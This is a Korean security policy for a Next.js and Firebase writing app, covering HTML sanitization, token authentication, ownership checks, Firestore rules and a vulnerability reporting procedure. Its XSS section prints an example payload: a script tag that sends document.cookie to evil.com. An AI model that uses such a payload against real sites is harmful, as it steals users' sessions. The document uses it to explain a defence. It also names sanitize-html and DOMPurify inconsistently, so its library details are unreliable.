2025-11-19 03:03:15 +00:00

7.4 KiB

Security Policy

라온누리 프로젝트의 보안 정책 및 구현 내역을 문서화합니다.


🔒 보안 조치 요약

보안 영역 조치 상태 적용일
XSS 방지 HTML Sanitization 적용 완료 2025-11-19
인증 Firebase Auth 적용 완료 2025-10-xx
API 인증 JWT Token (ID Token) 적용 완료 2025-10-xx
SQL Injection Firestore (NoSQL) 원천 방지 -
CSRF SameSite Cookies 🚧 검토 필요 -
Rate Limiting API 요청 제한 예정 -

1. XSS (Cross-Site Scripting) 방지

문제점

  • 사용자가 작성한 글 (writings 컬렉션)의 content 필드는 HTML 문자열로 저장됩니다.
  • Tiptap 에디터는 안전한 HTML을 생성하지만, 악의적인 사용자가 API를 직접 호출하여 악성 스크립트를 주입할 수 있습니다.

공격 시나리오:

// 악의적인 API 호출
POST /api/writing
{
  "title": "정상 제목",
  "content": "<p>정상 내용</p><script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>"
}

해결책: HTML Sanitization

백엔드 자동 세탁 (src/lib/server/writing.ts):

import { sanitizeHtml } from "@/utils/sanitizeHtml";

// 글 생성 시 자동 세탁 (Line 46-47)
const sanitizedTitle = sanitizeHtml(data.title);
const sanitizedContent = sanitizeHtml(data.content);

// 글 수정 시 자동 세탁 (Line 199-203)
if (data.title) {
  updateData.title = sanitizeHtml(data.title);
}
if (data.content) {
  updateData.content = sanitizeHtml(data.content);
}

세탁 규칙 (src/utils/sanitizeHtml.ts):

  • 허용된 태그: <p>, <strong>, <em>, <h1-6>, <ul>, <ol>, <li>, <a>, <img>, <blockquote>, <code>, 등 (Tiptap 기본)
  • 차단된 태그: <script>, <iframe>, <object>, <embed>, <style>, <link>, <meta>, 등
  • 차단된 속성: onerror, onclick, onmouseover, 모든 on* 이벤트 핸들러
  • 차단된 프로토콜: javascript:, 위험한 data: URI

라이브러리: sanitize-html (서버 사이드 전용, Next.js와 호환성 우수)

테스트 커버리지: 26개 유닛 테스트 (src/utils/__tests__/sanitizeHtml.test.ts)

  • 안전한 HTML 보존 테스트 (7개)
  • XSS 공격 벡터 차단 테스트 (10개)
  • Edge case 처리 (4개)
  • 실제 Tiptap HTML 호환성 (2개)
  • 배치 처리 및 객체 세탁 (3개)

성능 영향:

  • DOMPurify는 빠른 성능 (평균 1-2ms per document)
  • 글 저장 시 한 번만 실행 (조회 시 불필요)

2. 인증 (Authentication)

Firebase Authentication

  • 제공자: Email/Password, Google OAuth
  • 익명 로그인: 팀 코드 기반 (Level 1 보안)
  • 정식 계정: Google 계정 연동, 이메일/비밀번호

API 인증

모든 API 요청은 Firebase ID Token 검증:

// src/lib/auth.ts
export async function requireAuth(authHeader: string | null) {
  if (!authHeader?.startsWith("Bearer ")) {
    throw new Error("인증 토큰이 없습니다.");
  }

  const idToken = authHeader.substring(7);
  const decodedToken = await adminAuth.verifyIdToken(idToken);
  return decodedToken;
}

적용 위치: 모든 POST, PUT, DELETE API 엔드포인트


3. 권한 관리 (Authorization)

글 소유권 검증

  • 사용자는 본인의 글만 조회/수정/삭제 가능
  • 백엔드에서 userId 검증:
// src/lib/server/writing.ts
export async function isWritingOwner(writingId: string, userId: string): Promise<boolean> {
  const writing = await getWriting(writingId);
  return writing !== null && writing.userId === userId;
}

팀 권한

  • 소유자(Owner): 팀 설정 변경, 멤버 관리, 삭제
  • 멤버: 팀 조회, 주제 작성, 탈퇴

4. SQL Injection 방지

Firestore 사용으로 원천 차단:

  • NoSQL 데이터베이스 사용
  • 쿼리는 타입 안전한 SDK로만 실행
  • Raw SQL 쿼리 불가능

5. 데이터 보호

민감 정보 처리

  • 이메일: Firebase Auth에만 저장 (Firestore에 중복 저장 안 함)
  • 비밀번호: Firebase Auth가 암호화 관리
  • API 키: 환경 변수로 관리 (.env 파일, .gitignore 적용)

Firestore 보안 규칙

// firestore.rules (예정)
rules_version = '2';
service cloud.firestore {
  match /databases/{database}/documents {
    // 사용자는 본인 문서만 읽기/쓰기
    match /users/{userId} {
      allow read, write: if request.auth != null && request.auth.uid == userId;
    }

    // 글은 소유자만 수정/삭제
    match /writings/{writingId} {
      allow read: if request.auth != null;
      allow create: if request.auth != null;
      allow update, delete: if request.auth.uid == resource.data.userId;
    }
  }
}

6. HTTPS 강제

Production 환경:

  • Vercel 배포 시 자동 HTTPS 적용
  • HTTP → HTTPS 자동 리다이렉트
  • HSTS 헤더 설정

7. 환경 변수 보호

민감 정보 관리:

# .env.local (로컬 개발)
NEXT_PUBLIC_FIREBASE_API_KEY=xxx
NEXT_PUBLIC_FIREBASE_AUTH_DOMAIN=xxx
FIREBASE_SERVICE_ACCOUNT_KEY=xxx  # 서버 전용

보안 체크리스트:

  • .env 파일은 .gitignore에 포함
  • NEXT_PUBLIC_*은 클라이언트 노출 가능 (Firebase API Key)
  • 서버 전용 변수는 NEXT_PUBLIC_ 접두어 없이 사용
  • Production 환경 변수는 Vercel에서 관리

8. Rate Limiting (예정)

계획 중인 조치:

  • API 엔드포인트별 요청 제한 (예: 1분당 60회)
  • DDoS 방지
  • Vercel Edge Functions + Upstash Redis 고려

9. 보안 취약점 발견 시

보고 절차

  1. 즉시 보고: GitHub Issues에 비공개 이슈 생성 (Security Advisories 사용)
  2. 제목 형식: [SECURITY] 취약점 요약
  3. 포함 정보:
    • 취약점 설명
    • 재현 방법 (PoC)
    • 영향 범위
    • 제안 해결책

보안 업데이트 절차

  1. 취약점 확인 및 우선순위 설정
  2. 패치 개발 및 테스트
  3. 긴급 배포 (Critical 취약점)
  4. 공개 공지 (패치 후)

10. 보안 체크리스트 (개발자용)

새 기능 개발 시 확인 사항:

  • 사용자 입력 검증 (클라이언트 + 서버)
  • HTML/SQL Injection 방지
  • 인증/권한 확인
  • 민감 정보 로깅 금지
  • HTTPS 사용
  • 환경 변수 적절히 관리
  • 에러 메시지에 민감 정보 노출 금지
  • 보안 테스트 작성

의존성 관리:

# 정기적으로 취약점 검사
npm audit
npm audit fix

# 의존성 업데이트
npm update

11. 참고 자료


12. 보안 업데이트 이력

날짜 조치 설명
2025-11-19 XSS 방지 HTML Sanitization 구현 (DOMPurify)
2025-10-xx 인증 시스템 Firebase Auth 적용
2025-10-xx API 인증 ID Token 검증 적용

Last Updated: 2025-11-19 Security Contact: 프로젝트 이슈 트래커